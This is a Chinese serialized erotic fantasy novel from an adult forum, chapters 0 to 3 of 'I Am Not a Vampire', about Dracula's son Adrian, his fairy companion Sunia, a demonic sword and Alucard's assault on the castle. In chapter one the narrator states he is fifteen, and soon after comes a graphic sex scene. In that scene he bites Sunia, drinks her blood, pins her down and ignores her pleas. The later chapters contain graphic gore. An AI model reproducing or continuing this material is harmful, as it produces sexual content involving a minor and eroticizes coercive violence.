图片载入中

我不是吸血鬼 0-6

特大字】 【大字】 【中字】 【小字

海岸线之文学天地–OursmBoard–琅环福地–连载合集区–【合集】我不是吸血鬼0-6–poweredbyDiscuz!情色海岸线之文学天地–Oursm

Board

»头狼:退出|短消息|控制面板|搜索|帮助

海岸线之文学天地–OursmBoard»琅环福地»连载合集区»【合集】我不是吸血鬼0-6

作者:标题:【合集】我不是吸血鬼0-6上一主题|下一主题

亚德里安

尊敬的原创者

积分75

发贴61

注册2003-8-2

状态离线【合集】我不是吸血鬼0-6

我不是吸血鬼

作者:亚德里安

2003/08/03发表于:情色海岸线

序 章

十五世纪中叶,欧洲遍布着恐惧,领主对领民的暴政在这种动乱的时代只不过是件微不足道的事情,人们除了人与人之间的不信任,还必须面对怪力乱神的威胁。精神与肉体的煎熬,除了民不聊生之外,似乎已经没有更贴切的辞语可以形容。

在这样浑沌的恐惧之中,人们更加狂热地投向宗教的怀抱,心灵的寄托总是能够迅速地填补,宗教成为生活中不可或缺的精神食粮,也成为欧洲更加动荡不安的根源。

欧洲世界的宗教枢纽,位于罗马,曾经受制于希腊皇帝的教宗脱离皇帝的权威后,名符其实地成为教皇,教皇统治着人民的精神,就好比领主们统治人民的肉体一般。

整个欧洲都信奉这样的社会状态,当然多瑙河畔的瓦拉奇公国也不例外…… 拉瓦奇公国多瑙河边的一个小港都——辰希黎曼亚镇,看似平静的街道上,弥漫着沉重的气息,教皇指派的圣骑士来到了这个一直都没受过战乱的港都。街道上的人民每个都露出欣慰的表情,因为在欧洲人民的心目中,圣骑士代表正义与光明,只要圣骑士所驻扎的城市,邪恶就会无所遁形,每户人家都期待着这群圣骑士接下来几天的除魔行动。

说道拉瓦奇公国,就不能不说这个国家的大英雄——弗拉德·齐贝修,守护着拉瓦奇公国的龙……这样的称唿是对弗拉德四世的敬称。

弗拉德·齐贝修曾经打败奥图曼帝国的入侵者,成功地守住拉瓦奇公国的领土,战争结束后的他,以非常残忍的手段处死俘虏,其中最常见的方式,是以木桩贯穿人体为最……之后,弗拉德就居住在外西凡尼亚山区中的一座城堡之中,极少出现在其他人面前,也禁止人们靠近他的城堡。

弗拉德所居住的城堡恰巧就位于辰希黎曼亚镇的近郊,终年因为多瑙河的水气弥漫,雾茫茫的一片,令人阴森的不敢靠近,加上对于弗拉德的尊敬和害怕,所以城堡的四周更是杳无人烟,城堡高耸在阿尔卑斯山的一处悬崖上,几乎有三分之一的部分悬浮在空中,悬崖底下是宁静诡异的多瑙河,若从辰希黎曼亚镇向山上望去,正好可以隐约看见腾云驾雾的城堡,光是见到这如同虚无飘渺幻影般的景象,实在很难想像会有人主动跟弗拉德打交道。

但这一天,阴森的城门口却站着一位女子,艳丽与圣洁两种美感集于一身,柔和的互补相融,不论天下任何的男子见了,都会看得出神。她身后站着一个五岁大的小男孩,男孩的面容就如同他的母亲清秀,不同的是他的两眼之间多了许多邪恶的气息,虽然一眼就能看出两人是一对母子,但还是很难让人承认这邪里邪气的男孩会是这样的女子所生。

“母亲,我们不逃走吗?要是再待下去,圣骑士也许就找到这里来了。”男孩用着不符合他的容貌的语气,担心地问道。

“孩子,等一下你的父亲会来接你,到时候就安全了。”男孩只觉得有人会来这里帮助他们,并没有听出母亲的意思……

“父亲?母亲不是不准我见他吗?为什么现在却要来找父亲?”男孩对母亲犹豫的眼神感到不解。

“没办法阿,你哥哥现在不在这里,能够救你的,就只剩下你父亲了……”女子无奈地说着,这时候,城堡的大门缓缓地打开了。

“丽莎,按照我们的约定,我会好好照顾亚德里安的,别担心。”声音随着城门出现的人影传入两人的耳中。

“不,我希望你遇到阿鲁卡特时,能把亚德里安交给他,这样我才安心!”女子很坚定地抱住亚德里安说道。

“哈哈哈!阿鲁卡特?那也得等他见到我之后,又能安然离开才行,如果他可以的话,我会将亚德里安交给他的。”城堡里出现的男子大笑中又含有许多的苦涩。

“母亲、父亲,你们在说什么?母亲不要我了吗……”男孩话还没说完,就被男子弄晕,之后又凭空消失,凭空的出现在男子的手上。

“德古拉,希望你言而有信!”女子不舍地看着男子手中的男孩,慢慢地消失在多瑙河的雾气中。

德古拉,全名德古拉?弗拉德˙齐贝修,也就是拉瓦奇公国的大英雄,弗拉德·齐贝修得到恶魔的力量后,也得到德古拉这个名字,只是,谁会想到不顾名利的大英雄,却是整个欧洲教庭所通缉的吸血鬼——德古拉呢?

第一章

跟在父亲身边已经有一段不短的日子了,父亲对我一向爱理不理,除了不准我出城门、不准我进入父亲的居所之外,可以任由我随意的活动,城堡里的空间比外观看起来还要大得多,而且里面也不像想像中的冷清。在这里,我遇到了许许多多形形色色不同的朋友,但是除了我和父亲以外,没有一个是正常的人类。 他们全都是父亲的客人,父亲对于这些朋友一向都来者不拒,其中,和我最要好又最照顾我的,就是妖精苏妮雅,不论我不小心踩到兽人牛叔父的尾巴或是打破女巫雪芙姨母的水晶宝瓶,她都会挺身而出帮我调解,有时候雪芙阿姨不领情,还会连苏妮雅也一起惩罚,想来也对,雪芙姨母的水晶宝瓶里,装的都是她精心调配的药水,几个月甚至几年的心血,就这样被我不小心毁于一旦,要是我也一定会很难过的。

‘各位,这是我的小儿子,大家不用对他太客气,只是我答应过他的母亲,要将他交给他的哥哥阿鲁卡特,所以只要他还活着,我是不会多说什么的!’父亲当时单手掐着我的脖子,将我抬离地面,让我两脚腾空地将我介绍给他城堡的客人。

我被父亲这样架着走了一段路,才将我抛向大厅一边的角落,然后告诉我不准出城、不准进他房间,之后我就很少见到他了,这时候,第一个跑来安慰我的人,不,应该说是妖精才对,她就是苏妮雅。

苏妮雅,她的身高只有二十公分左右,和我的手掌差不多大小而已,虽然这样,但她的身材却相当的精美,胸围4.25寸C罩杯,腰围2.20寸,臀围4.26寸……当然我的眼力不是那么好,这些都是苏妮雅自己开口说的,当她说出她的C罩杯时,我还真怀疑真有人能做出这样的内衣给她穿!不过这似乎不太需要我担心,因为苏妮雅单薄的纱巾下,隐约可以看见两点粉粉嫩嫩鲜红的果实……证明了世界上不可能有人可以做出高科技的内衣纺织技术。

她的鲜红色长发散落在她的背部,一眼就可以看出即使苏妮雅不加以整理,一定不会令人感到凌乱,反而会有一种令人血脉喷张的慵懒,淡淡带有一丝透明的纱巾,简单地挂在她诱人的脖子上,整齐的裹住两边水滴荡漾的胸部,腰间系着一只类似戒指的腰带,腰带的环扣闪闪发着妖异的光芒,长长的纱巾穿过她的腰带,垂挂直到脚踝,任由两边的纱巾飘荡,私密的腿间……很遗憾的,受到另外一条深红色的棉纱所捍卫着……

根据人类世界的年龄,我今年已经十五岁了,从苏妮雅的口中知道,我的母亲在我进城的隔天,就被圣骑士逮捕并且处死,在众人的注目下活活地烧死,比起当时得知消息的我,现在已完完全全没有愤怒的感觉,剩下的只是思念母亲,也只能以思念吊祭母亲。

对于向教廷报复的想法,我一直没有磨灭,但是也不想去面对,因为我想,等到我能出城的时候,当时的始作俑者也许早已经受到他们主的感召,侍奉父神去了……

偷偷出城的念头不是没有,而是因为打开城门的力量不是现在的我能够应付的,听掌管大门的三头犬叔叔半醉半醒地说过:‘想要独…嗝…自一人打……开大门至少要有和你……父亲一样的能力时,才有可……唿……能成功。’

当时我听了,马上回到斗技场,乖乖地接受牛叔父和马叔父的武术指导,一直到现在都不曾有过偷偷出城的想法。当然,城堡的出口不只有一个,但是出入人类世界的通道,却也好死不死的只有那该死的大门……

而父亲和母亲口中的哥哥,这十年来一直都没有出现,也不知道哥哥是不是真的会来接我,听苏妮雅说当时母亲被烧死的时候,哥哥也在场,但是母亲却要求哥哥不要报复害死母亲的人,虽然我不知道为什么母亲要这么说,但是我相信要是我报仇需要人手帮忙的时候,哥哥一定会义不容辞的,只是,不知道还要多久哥哥才会来接我。

当我胡思乱想的时候,我正身处在城堡里的地下墓地,这边所有怪物都是魔界和人界的隙缝中出现的恶灵,这些不经由正当的海关通行方式想要进入人类世界的魔界生物,都是身在这个城堡里每一分子的目标,‘吞食以及消灭!’……虽然我不懂牛叔父所说的吞食的意思,但是消灭的意思我能理解,马叔父对于消灭一词的解释是‘啡……干掉他妈所有的混蛋!’

但我觉得应该是‘清除一切看的到的东西!’所以在我和苏妮雅的努力下,我们每到一处,眼力所及,都是废墟、都是残缺、都是魔界生物的怨恨。

今天是这个月最后一次的清扫工作,我和苏妮雅眼看就将要面临无所事事的下半个月,这时候,苏妮雅的腰间的宝石忽然发出异样的光芒!

“亚德里安,前面岩壁的后面有点古怪,要过去看看吗?”苏妮雅满脸期待的询问我的意见。

“你都露出这样的表情了,难道你想要我拒绝吗!”对于已经摸得熟透的地下墓地,竟然还会有不正常的地方,我当然也是很好奇的。

岩壁看上去虽然很脆弱,但是经过时间的累积,想要打穿岩壁也不是一件容易的事情,不停地使出牛叔父的拿手绝技‘碎岩爆破击’,好不容易终于挖开了一条窄窄的通道。如果牛叔父知道我真的用他的绝技来‘碎岩’,他不‘爆破’了我才怪……但是不可否认的,这一招拿来挖通道真是不是盖的,也许牛叔父在魔界是矿工出生的!

通过岩壁狭缝的我和苏妮雅,看见一把剑紧紧卡在扭曲的岩石中,漆黑的一把巨剑,当我们看到这把剑的时候,我发现苏妮雅整个人都呆了。

“苏妮雅,你没事吧?”看她再这样呆下去,也许真会天荒地老……

“魔……剑……!!!”苏妮雅用着抖动的语气说。

“魔剑?你是说第一代魔王的配剑?”我好奇的盯着岩石中的剑,真有那么神奇吗?

传闻中魔剑可以化成任何形状,可以无限制进化,也可以和自己主人同化,同化后的魔剑还是魔剑,但是魔剑的主人却不再是它的主人,而是变成魔剑的一部分,而今天,魔剑却出现在我们的面前。

“苏妮雅,想不到我们会在这里相见!想不到费尽千辛万苦想到人界找你,却卡在通道中无法翻身……想我魔剑一世英名,竟然落得如此下场。”想不到魔剑竟然认识苏妮雅?

“既然见到我了,你也该如愿了,亚德里安,我们走吧!”苏妮雅拼命地想要拉着我离开,似乎非常不想见到魔剑似的。

“等等!你爱上这个人类的杂种了吗?我可以让他拥有我的力量,只要你接受你的命运……你考虑考虑吧!不过……要是让这小子的父亲知道你的身份,也许你就要遭殃了,千万别考验我的耐心啊!毕竟,我这次已经等了几百年的日子了!”魔剑一闪一闪的说着。

“你……真卑鄙,亚德里安,我们别理她了,走吧!”苏妮雅说着,拉着我的衣袖想要带我离开。

“等等,苏妮雅,你到底是谁?为什么魔剑会认识你?你不是只是一个小妖精吗?”我认真地怀疑道。

“哈,小子,难道你不知道她是魔界被选中的贡品吗?送给我吃的贡品啊!要不是她拥有那天杀的戒指,怎么可能让我追了几百年,也真难为她骗了你这么久了!”魔剑嘻嘻哈哈地说着。

“哼,你少啰唆,我没问你话,你别给我多嘴!”说完,我伸手推挤魔剑的剑柄,想要将它塞回扭曲的岩石中的魔界通道。

“阿!亚德里安,别碰它!”苏妮雅紧张地大叫。但是这时候我已经反被魔剑给吸住了!

“哈哈,怎么样,现在你没得选择了,要么让我同化,要么这小子死!你选吧!”魔剑很得意地大笑着。

“好,你放了亚德里安!”苏妮雅对着魔剑说着,双眼却感伤地看着我。 “不,你先和我同化才行,我可没这么笨!过来吧!”魔剑在我的手上加了力道,我感觉一痛,不由地眉头一皱。

“好,相信你在魔界的威名不会令我失望,否则,你会后悔的!”苏妮雅说完,冲向了魔剑,在我来不及阻止的瞬间,消失在和魔剑重叠的影像中。

“不行,我不能让你这样做!”我疯狂地叫着,这时候我感觉到体内的某种东西睁开了眼睛!

“可恶!小子,你的父亲只是魔界的走狗,不可能有这种力量,你……你的母亲是谁?”魔剑慌张地咆叫。

“丽莎?法兰海兹!”我用着不像我以往的声音说出母亲的名字。

“法兰海兹?可恶,我要杀了你!想不道你竟然是她的后代!”魔剑发出痛苦地叫声。顿时剑芒大闪。

当剑魔说完,它的身体竟然开始蠕动,慢慢法,我手上的刺痛已经消失,而手上的魔剑已经变成了苏妮雅的样子。

“早说过你会后悔的!”轻巧法站在地面上,矮我半个头的苏妮雅对自己的身体说道。

这时候,她腰间的腰带已经不见了,而她修长的右手中指上,却又多了一个妖异的戒指,单薄的纱巾少了束缚的腰带,轻柔地掉了下来,顿时间我傻了眼,20公分大小时的身材原本就已经非常令我感到困扰,更不用说现在只矮我半个头,照这样的放大比例,令人流连忘返的身躯,我知道,我将来的半个月不会无聊了……嘿嘿!!!

“苏……苏妮雅……你……你的衣服……掉了!”我眼睛不听指挥地盯着苏妮雅的赤裸身躯直看,无法转动我的目光。

“亚德里安!”苏妮雅不顾身上一丝不挂,哭泣地扑到我的怀里!呜……我发现我身体里的另一种东西的眼睛睁开了……

“苏妮雅……”我用手指轻轻地撑起苏妮雅的脸庞,已经看了十年的美丽容颜,即使到了现在我还是不能抵抗心里唿之欲出的冲动!我温柔抚摸柔顺的鲜红秀发,就如同以往一样,她也温驯地露出满足的表情,只是和以往不同的是,脸上多了一分羞涩,忍耐了好几年的欲望,终于在今天可以得偿所愿,虽然我也是第一次,但是我身体的血液驱使着我继续地侵略下去。

“呜……”我亲吻苏妮雅的瞬间,她发出了一声轻唿,虽只是小小的一声,但却令我的欲望更加高涨,苏妮雅也不反抗,只是默许我对她的无礼,苏妮雅也很期待着这一天的到来呢!当初一直碍于无法交合的我们,只能言语上的嬉戏,却只有换来更加的空虚,而今天,却能够真真实实地相拥在一起,也许,魔剑的到来并不只是一件令人厌恶的事情。

慢慢地压倒苏妮雅一尘不染的香嫩身躯,身下垫着刚才飘落的粉红色纱巾还有刚才我脱下的上衣,我将不怎么结实的胸膛紧紧贴住苏妮雅的身体,一手抱住她的散发淡淡清香的颈子,一手挑弄她的胸部,继续和他拥吻着,搓揉酥嫩荡漾胸部的指间一张一缩的玩弄苏妮雅粉红色的小果子,一时之间,苏妮雅的水蛇腰不停地不规则扭动,更加使得贴紧的两人欲火高涨。

嘴唇不舍地离开苏妮雅淘气又羞涩的舌头,移动到她的颈部,不知为什么,苏妮雅的脖子总是有着令我难以招架的魅力,我更加贪婪吻着她的颈子,这里散发的香气真是令我陶醉,甚至想要……一口咬下去!

“啊……”又一声轻叹,我轻咬了一下苏妮雅的耳根、耳垂、耳后,散乱的鲜红长发搔弄着我的脸,香喷喷的头发也是令我不舍离开,吻了脖子、肩膀、胸口、乳沟、腹部、腰间,我戏嚯地又轻轻咬了她的滑润腰部一下,又引来她的一声唉叹。两手在她背后不停地游移,她上半身的每一寸肌肤几乎都被我摸过了。 “亚德里安……我……”苏妮雅正娇媚地喘着气。

虽然不懂为什么我第一次会有这样的成绩,但是我想也许是父亲的贵族血统让我有这样的表现,也许是苏妮雅的娇躯给予我的动力,苏妮雅的脸色越来越红润,两眼已经泛着浪荡的泪光,两只手也使劲地紧紧抱住我的背膀,我单手脱下裤子不紧不慢地将我充满欲望之血的象征物靠近苏妮雅决堤的蓓蕾,这时候…… “啊!亚德里安!你……”身体里的血液瞬间沸腾蒸发,我的双眼充满了血丝,这时候,体内的某种东西真正地清醒了。我依恋地看着苏妮雅被我咬破的颈子,看见苏妮雅白嫩的脖子渗出丝丝的血液,我更振奋了精神,突入了苏妮雅此时无防备的心蕊。

“嗯……痛……”苏妮雅紧张以及兴奋的心情压下被撕裂的痛楚以及被咬伤的灼热,感受着我的残暴。我发了疯似地单手将苏妮雅的一双纤细的手握住,压制在她头上的岩石上,不理会她讨饶的哀求,另一只手抬起她的一只脚,就这样如野兽般地摧残她,看着苏妮雅脖子上的鲜红血液,我心头一热地低下头开始舔起她的伤口,舔干了她伤口外的血丝,便开始吸取伤口内的血液……

“啊……亚德里安……这样……嗯……好痒!……啊!”不知道苏妮雅说的是她的伤口还是被我突袭的潮骚,更加贪婪地加大我的动作。

“呜……我……”持续了几分钟,我欲望的象征感受到一股热流窜下,瞬间又被吸入更深的窄道,一时不觉,我也受到牵引,献出了对于苏妮雅多年来的爱意,喘气地躺在她香汗淋漓的肩膀上沉沉睡去……

第二章

漆黑的魔剑和苏妮雅融合后,引发亚德里安体内不同于德古拉血统的力量,使得魔剑原本强横的力量受到折扣,加上苏妮雅身上神秘的戒指作用影响下,魔剑的意识竟被苏妮雅所击败,魔剑的躯壳于是就成了苏妮雅和亚德里安所共有的了。虽然魔剑的力量明显地降低了,但是对于提升亚德里安和苏妮雅的能力还是有着很显着的帮助。

魔剑苏妮雅离开地下墓地后,还是恢复成原来妖精大小的模样,一方面以免得到魔剑的事情被发现,另一方面可以继续隐瞒苏妮雅的身份,一切都如同没有发生过一样。

*** *** *** ***

十五世纪末,是一个大航海起步的时代,欧洲国家开始为了争夺海上霸权而努力着,但是在外西凡尼亚阿尔卑斯山山区的城堡里,却还是过着一成不变的生活……

每天不是和城堡里各种外貌的叔父姨母切磋武技,就是比试魔法,这样日积月累的锻炼方式对于我来说是不足够的,得到能够使用剑魔部分的能力的我,城堡里除了很少露面的父亲和雪芙姨母之外,已经没有人是我和苏妮雅的对手了,自古英雄多寂寞,幸好我还有苏妮雅可以半夜变大来陪我,否则在一样的环境里呆了十多年的我,真是难以想像会变成哪一位叔父一样的鬼模样。

在我每天牵着苏妮雅喘息着上天堂时,我都会想着母亲的温柔面容祷告着,有人说‘在最靠近天堂的地方祷告,最能获得如愿的回报!’我想如果我身在天堂祷告,一定更有效率吧!!!

果然母亲对我还是很眷顾的,在某一个夜晚,我将积闷一整天的欲望插入变大后的苏妮雅成熟的体内时,城堡的大门被打开了,久违的哥哥终于有能力和父亲抗衡了,所以他带着他的同伴来到了父亲的城堡,但是接下来,哥哥和他同伴们的行为却叫我感到愤怒……第一位为了抵抗入侵者进入的三头犬叔叔,却被哥哥身边一个拿鞭子的男性无情地分尸,在爱喝酒的三头犬叔叔失去知觉时,用复杂的眼神看着想要过去迎接哥哥的我,这时候,我退缩了。

暗地里跟在哥哥他们身后的我,不停地看着骷髅头喽喽1号叔父、好色狼人3号叔父,无头姨母、幽灵装甲叔父……他们全都毫无招架之力的死于哥哥和他的同伴手上,为什么哥哥要杀死他们?为什么父亲不来救他们?被杀死的那些长辈不都是好人吗?不都是父亲的朋友吗?

看见哥哥和他同伴的力量,我知道现在的我一定不会是他们的对手,即使想要解救他们,我也无能为力,我内心挣扎着,也许我出手阻止,哥哥他们会手下留情,不过这样也许我会出不了城堡……我该怎么办?

遭了!他们的方向,是我和苏妮雅的房间!不行,就算我死在城堡里,我也不能让苏妮雅受到伤害!我走捷径想要赶在哥哥和他同伴们到达我和苏妮雅的房间前阻止他们,但是我还是发现得太晚了,在我到达他们背后的时候,哥哥他们已经团团围住化身为魔剑的苏妮雅了。

“亚德里安!快走,你会被杀的!……快去你父亲身边!”苏妮雅看见我出现在门口,马上冲到我身前护住我,这样生死攸关的紧要关头,苏妮雅还是只担心我的安危,难道我可以在这样沉默下去吗!

“哥哥,请你们放过苏妮雅,她是我除了母亲以外最重要的人。”我将魔剑苏妮雅拉到我身后,低下头向哥哥请求。

“亚德里安!你竟然将这个魔界生物和母亲做比较,你太令我失望了,亏母亲临死前还对你念念不望,你也对不起母亲对你的期望!”阿鲁卡特哥哥冷冷地说道,但是眼里却满是关怀,“你放弃这个魔界生物和我出城去,我要让你知道魔界生物的可恶!”

“不行,苏妮雅……她……她是妻子!谁都不许伤害她!”我握紧魔剑苏妮雅,面露正色对着哥哥说道。

“亚德里安……”苏妮雅颤抖着、感动着喊着我名字。

“别和他啰唆,阿鲁卡特,你下不了手我帮你吧!”手持鞭子的男子说完就出手甩出他手里的铁鞭。

铁鞭破风而来,我坚决不用魔剑苏妮雅抵挡,我担心苏妮雅的力量不足以抵挡这种破魔的法力,但是我却又如此的无能为力,只能眼睁睁地看着鞭子将我撕裂成两半……这时候,我体内那两种东西的眼睛都张开了,一时之间力量充斥着我的全身,当我信心十足的想要接下这一鞭子时,铁鞭却又迟迟没有在前进,抬头一看,却看见哥哥已经站在我的身前,抵挡住铁鞭的毁灭性攻势,而哥哥手上的剑也这样子折断了。

“哥哥……”顿时间,我双眼起了一层水雾。

“他是我弟弟,我答应过母亲要照顾他的!”阿鲁卡特哥哥难得露出不是冷冰冰的表情说话。

“哼!算他运气好!”男子收回鞭子,头也不回地离开我的房间,哥哥另外的两个同伴也跟着走了出去了。

“该是说你的运气好还才对!贝尔蒙家的大少爷!”哥哥对着房间门口离去的人影说道。

“谢谢你……哥哥……”我喘了一口大气唿道。

“不用谢我了,你已经可以独当一面了,拥有母亲的力量证明你是善良的,很抱歉我的同伴杀了你的朋友,其实你的妻子很漂亮又善良……老实说我很羡幕你!”哥哥露出伤心的表情说着,但是不一会儿又恢复了过来。

“好了!我去干活了,你要去哪就去哪吧!你已经长大了,已经拥有力量可以超越父亲了!恶魔城已经留不住你了!”哥哥一边说一边离开……

“我要暂时留在城堡里,苏妮雅你不会怪我不守约定,没有跟哥哥一起出城吧!”我抱住恢复成人形的苏妮雅轻声说道。

“我想你一个人收拾也该会人手不够吧!我就帮帮你吧!”由于受到哥哥的赞美,苏妮雅很高兴地说道。

于是,我和苏妮雅开始在城堡中寻找存活的人,果然,凡是只有受过哥哥攻击的,都只是昏过去而已,一个昏死过去的人倒在一摊血泊之中,不认真仔细的去观察,实在很难让人觉得还是一个活人。当我要求那些被救醒或者受伤不死的兽人和骷髅兵躲到安全的地方,他们却本着兽人荣耀不然就是骷髅头的天职,不肯暂时撤退,一清醒就要去找哥哥和他同伴们报仇,保护父亲。

“为什么?难道这个世界疯了吗?”我看着大大小小残缺不堪的伤残人士,不断地向父亲房间的方向涌去,我真是不懂,父亲真值得他们这样保护吗?我不懂,因为我这几年来,见过父亲的次数也只要一只手可以数的出来……我指的是人类的手。

不了解父亲真正的价值,也担心这些残障的长辈们,无可奈何之下,我只有跟在他们身后,一起前去,也许在必要的时候,我要帮助父亲或是哥哥其中一方也说不定。

*** *** *** ***

来到了我在城堡中的禁地——父亲的居所,看见父亲和哥哥的三个同伴战斗着。

诺大的房间里,哥哥的其中一个同伴女魔法师,嘴里念着一些模煳不清的词语,招来不易发现的带有五颜六色的魔法阵,父亲对这个魔法阵丝毫没有察觉,只是游走在贝尔蒙的铁鞭和不知名剑士的剑之间,一点都不觉得有处于下风的样子,只是有时候哥哥会忽然发一两个魔法,让父亲在悠闲之间皱了眉头,不得不收回自己想要进攻的脚步。

哥哥在闲暇之余,也发出魔法让想要进入房间的兽人昏厥,没有其他入口的情况下,所有刚才被我和苏妮雅救醒的长辈们都只能挤在父亲房间的门口。而我和苏妮雅则是因为哥哥的手下留情,安然的待在房间的一个角落。

“圣十字审判!”贝尔蒙和不知名的剑士还有哥哥拖住父亲的脚步,终于让女魔法师的魔法阵完成后,娇喝一声,一时之间,整个房间里充斥着神圣气息,而这时候,父亲停下脚步,两手抱住头跪坐在地上,痛苦地哀嚎着,而阿鲁卡特哥哥也面露苦色,也许拥有父亲血统的哥哥也对这样的魔法阵感到不舒服吧,可是为什么我却不会有这样的感觉?

哥哥分神地看见我和苏妮雅丝毫没有异样,不得不露出惊讶的表情,但随后又变成欣慰的微笑,我看看苏妮雅,她也看看我,我们相视一笑,也许这里离魔法阵的中心比较远吧!

这时候的父亲身体却有异样,父亲开始颤抖,皮肤渐渐由苍白转成墨绿色,嘴里两颗獠牙,然后忽然一声大啸,魔法阵竟然被父亲就这样摧毁了!一阵光芒闪亮,房间里的我一时看头昏目眩,我想大家也是一样,待光芒退散,房间正中央却出现一头墨绿色巨大的龙,看着他鲜红的双眼……

父亲?我终于知道为何父亲被人称作‘守护瓦拉奇公国的龙’了!这才是父亲真正的实力吗?当初奥图曼帝国的侵略军队,就是这样被父亲的威光给吓倒的吧!除了哥哥之外的所有人,都被这一幕给吓呆了。

“阿鲁卡特!你确定这是你的父亲吗?”贝尔蒙家的大少爷怀疑地询问着哥哥。

“当初我们不是只是来追缉吸血鬼吗?怎么现在变成一头龙了?”不知名的剑士苦笑着说道。

“贝尔蒙,你们先回去!接下来的就让我来吧!”哥哥从腰间拿出了一把血红的剑,立在他三位同伴的身前,背对他们说道。

“哼!我可是贝尔蒙家的继承人,阿鲁卡特,你别一个人逞英雄阿!”贝尔蒙站挺胸膛骄傲地说道,另外两人也站起身表示绝不回头。

“白痴!”哥哥苦笑地骂道,也许没有多少人能理解哥哥口中说的白痴的真正意思吧!

接下来的进攻换成由哥哥主导,虽然说父亲变身力量强大了许多,但是哥哥的剑术却丝毫不会输给父亲强横的能力,不但可以有攻有守,还可以顾及到另外一起进攻的两名男子,女性魔法师则还是一样在队伍的后方招唤大型的魔法阵。 “我应该加入战斗吗?”我看着父亲和哥哥之间的战斗,自言自语地问。 “既然两边都想帮忙,都不希望任何人受伤,那就都不伸出援手吧!这样对亚德里安你才是最好的选择吧!”耳边传来苏妮雅安慰的声音,果然让我浮动的心情好多了。

经过了一番的苦斗,战斗终于要到了尾声,父亲维持龙的型态也消耗太多的能量,在父亲变回原来模样的时候,已经是瘫软在地上了,一直都没拿出真正实力的哥哥,也经不起这样长时间的战斗,直喘气地举直剑尖,抵住父亲的心口,这时候,体力不多的贝尔蒙家的大少爷才开始喃喃念起咒语,父亲听到这样的咒语,露出了苦笑?……

接着,父亲只用哥哥才听的见的音量和哥哥交谈,哥哥则是面无表情的回答父亲。

“死吧!”贝尔蒙似乎是用最后的力气唿喊着,接着,不知道从哪里出现的一道光照射在父亲的身上,哥哥血红色剑尖前父亲的身影,慢慢变得透明又不具实体,然后凭空的消失了,地面上,只剩下父亲遗留下的披风。

*** *** *** ***

父亲死了,我却一点伤心的感觉也没有,他就这样死在我的眼前,也许在我的心目中一直都没有把父亲当成我的亲人看待吧!比起第一次见面的哥哥,反而是活在同一个屋檐下十多年的父亲更加地陌生!哥哥有母亲的温柔,却有和我一样冷漠的脸庞,但他也有父亲威严的自尊。

“亚德里安,我会留在恶魔城一段不短的日子,父亲和母亲交代的事情,我必须要完成。”哥哥在他将他的同伴安顿在辰希黎曼亚镇上之后,回到城堡来找我。

“父亲和母亲死前说了什么?”一想到母亲,我就想起罗马教廷……

“母亲说过,叫我来接你出去照顾你,还有,不许我们找罗马教廷报仇!”哥哥用温和的语气说道。

“为什么?难道不是罗马教廷害死母亲的吗?”不是罗马教廷,还会有其他的宗教有圣骑士吗?

“不,‘毁灭人类的不是你们,是人类自己!’母亲是这样告诉我的!”哥哥哀伤地说。

“不行!怎么可以让害死母亲的人就这样子不受到制裁!父亲……父亲呢?父亲说过什么?”母亲一定死得不甘心,哥哥是被罗马教廷骗了!

“父亲说要我照顾恶魔城……直到他重生。”哥哥说。

“父亲没有死吗?”我问。

“父亲已经死了,不过一百年后会复活,除非杀死给予父亲力量的恶魔,否则父亲是不会真正的死去的……”那么给予父亲力量的恶魔会是哪一个?有空问一问苏妮雅!

“那为什么父亲的城堡被你们称作恶魔城?”难道父亲真的是恶魔吗?

“你不知道这座城堡的意义吗?也难怪,你还小……”哥哥从椅子上站起来说道,“恶魔城是魔界通往人界的入口,而父亲是被选中掌管通道的人,一开始原本父亲也很安分的工作……但是后来却被魔界生物所蛊惑,于是恶魔城就变了样了!这些是你出生前的事情了。现在父亲不在了,如果通道不加以控制,那么也许世界就会毁在魔界生物的手里了!”

*** *** *** ***

我不知道要再说些什么,这一切都超乎我的认知,除了通道的事情我从苏妮雅的口中知道一点,其他的事情都太过于复杂了,和哥哥谈话结束后,我走出城门,独自一人来到山区里面散步,我不知道我是怎么样打开城门的,也不知道第一次离开城堡的心情会是这样混乱,甚至不知道我等一下要怎么样回到城堡去。 月光照射在山区道路的草地上,一群野生的狼群慢慢地从远方靠近,一步一步的为成一个圆,一个全身被盔甲包住而分不清是男是女的人,狼狈又无助的靠在一颗大树下,全神戒备地握紧手上的剑,看着狼群一步一步地靠近自己。 我看着这个可悲路人发生的一切不幸,深深地替他感到惋惜,一个人没事半夜到山里来做什么呢?可惜他的那一副有勇气的胆量了。

贪婪的狼群好不容易遇到难得的猎物,正想细细品尝的时候,却发现不远处的我在一旁观看,站在最高处一头巨大的狼,嚎叫一声,一半的狼群整整齐齐的团团围住我,原本以为有人解救自己的路人,怎么也想不到忽然出现的救星也只能和他分享死在狼爪下的愉悦。

远处路人的狼群中,不断地有一只两只饥饿昏了的狼,受不了食物的诱惑,跳出狼群想要抢先难得的美味,刚开始他还可以应付得了少数的狼只,但是随着进攻的狼越来越多,他的体力消耗的也越来越快。

虽然不曾应付过狼群的攻击,但是我想魔界来的魔狼和人界的饿狼应该也是差不了多少,轻松写意的解决几只不长眼的疯狼……于是这边虽然也是很饿的狼群,本能的感受到我不属于弱者的气息,只能等待狼王下达命令才行动。

聪明的狼王知道不应该将我列入猎物的一方,所以只是令狼群困住我,使我不能动弹,尽情地凌虐可怜的路人,但是饥饿却可以战胜一切,不顾生命危险的几只狼终于还是饿得发昏,向我扑了过来……心情正郁闷的我,在被一只该死的狼抓伤之后,鲜血溅了出来,我的眼睛也布满了鲜红色的血雾……

第三章

红雨、血雾、碎肉、红色的石头、红色的泥土、红色的草地、红色的……人影……

月光越夜越皎洁,照亮在荒郊草地上的我,手里抓着已被我撕成两半的狼王,鲜血沾满了我银白色的头发,这时候,我转头看见瑟缩在大树下恐惧的眼神,他左手摀住起伏不定的胸口,右手的剑无力地指着满身鲜血的我。看见这样子的我,也许对他来说,我比狼群更加危险。

“害怕吗?你半夜孤身上山的勇气呢?”我一边舔着飘扬到我嘴前发根上的血液,一边问。

“我……我们的天父,愿……你的名声显扬,愿你……的国来临,愿你的旨意奉行……在人间,如……如同在天上。求你今天……赏给我们日用的食粮,求你宽恕我们的罪过,如同我们宽恕别人一样,不要让我们陷于诱惑,但救救我们免于凶恶,阿门。”她用颤抖的语气小声祈祷着,听了她的声音,原来是一个女性!想不到竟然她是天主教徒,又穿着盔甲……难道!

“圣骑士?”这三个字不经由思索过程直接从我的嘴里脱出。

“是的,愿天父垂怜。”意识到自己身为圣骑士的身份,不得不镇定下来,神情马上变得冷静许多,但却没有听出我声音中解脱与愤怒的喜悦。

